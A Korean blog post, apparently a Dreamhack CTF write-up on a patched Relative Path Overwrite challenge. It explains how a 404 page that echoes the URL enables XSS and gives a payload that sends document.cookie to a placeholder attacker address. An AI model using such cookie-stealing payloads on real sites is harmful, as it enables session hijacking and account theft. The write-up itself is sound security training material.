반응형
문제 설명
RPO의 패치된 문제이다.
문제 풀이
vuln 페이지에 접속한 경우 filter.js 파일을 불러오지 못하고 있다. 왜 그런지 vuln.php의 코드를 살펴봐야겠다.
Vuln.php 소스코드
<script src="filter.js"></script>
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter === 'undefined') {
param = "nope !!";
}
else {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
filter.js의 파일을 불러오고 있으며 filter를 못불러올 경우 nope!!을 출력한다. filter를 불러오면 필터링을 시작한다.
하지만 filter을 못불러오고있다. filter.js를 못불러올 경우 404.php코드가 실행된다.
404.php
<?php
header("HTTP/1.1 200 OK");
echo $_SERVER["REQUEST_URI"] . " not found.";
?>
404.php는 입력한 url을 echo명령어로 그대로 출력하기 때문에 XSS 취약점이 발생할 수 있다.
index.php/;alert(1);//?page=vuln¶m=dreamhack 에서 자바스크립트를 실행할 수 있기때문에 XSS 공격이 가능하다.
Payload
index.php/;location.href=' 공격자 주소'+document.cookie;//?page=vuln¶m=dreamhack
위 페이로드를 report하면 flag를 발송해준다.
반응형
'WEB hacking > 드림핵(dreamhack)' 카테고리의 다른 글
드림핵 Logical WriteUp (0) | 2025.01.24 |
---|---|
드림핵 simple_sqli_chatgpt WriteUp (2) | 2023.09.09 |
드림핵 Relative Path Overwrite WriteUp (0) | 2023.09.08 |
드림핵 blind-command WriteUp (0) | 2023.09.04 |
드림핵 Carve Party WriteUp (0) | 2023.09.04 |